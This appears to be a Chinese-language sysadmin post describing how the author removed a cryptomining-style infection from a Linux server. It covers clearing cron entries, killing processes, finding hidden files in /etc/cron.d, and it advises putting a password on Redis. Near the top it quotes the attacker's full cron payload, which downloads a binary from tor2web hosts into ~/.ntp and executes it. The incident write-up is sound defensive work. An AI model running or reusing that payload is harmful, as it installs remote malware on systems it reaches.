######
檢查 時 crontab 已被清空 被以下腳本代替
/bin/sh -c (tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; ${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.su/src/ldm3 -o ~/.ntp||${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -o ~/.ntp||${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -o ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.su/src/ldm3 -O ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -O ~/.ntp||wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -O ~/.ntp) && chmod +x ~/.ntp && sh ~/.ntp
清空 crontab
ll /var/spool/cron/ -a
cd /var/spool/cron/
rm -rf ./*
rm -rf ./.*
殺死進程 定時任務啟動的任務
ps -ef|grep tbin|grep -v bash|grep -v sshd|awk '{print $2}|xargs -i{} kill -9 {}
再次查看進程,不到一分鍾發現腳本又重新啟動
ps -aux|more chkconfig --list 並沒有發現可疑程序
再次殺死進程,並停止 crontab , 過了一會再次查看進程, 已經不存在了,可以確定是 crontab的問題,
通過 定時任務里的url 地址 搜 定時任務配置文件, 搜到如下 其實是 偽裝的Binary file 全部清除,
[root@application01 ~]# grep -irnH 7xffbbbebumizpeg /*
Binary file /etc/cron.d/.vuhcwazfbpmgakhhoc matches
Binary file /etc/cron.d/.auwdfmcucuhaq matches
Binary file /etc/cron.d/.cpddmaaqgh matches
Binary file /etc/cron.d/.yaygulruw matches
Binary file /etc/cron.d/.fddjefx matches
Binary file /etc/cron.d/.bgvhyj matches
Binary file /etc/crontab matches
Binary file /home/123/root matches
然后啟動crontab ,
再次檢查進程沒有再次啟動
ps -aux|more
ps -ef|grep tbin
我的redis 並沒有對外開放,依然被攻擊了,具體如何被攻擊的不在這里贅述了
需要注意 redis 切記 加密碼訪問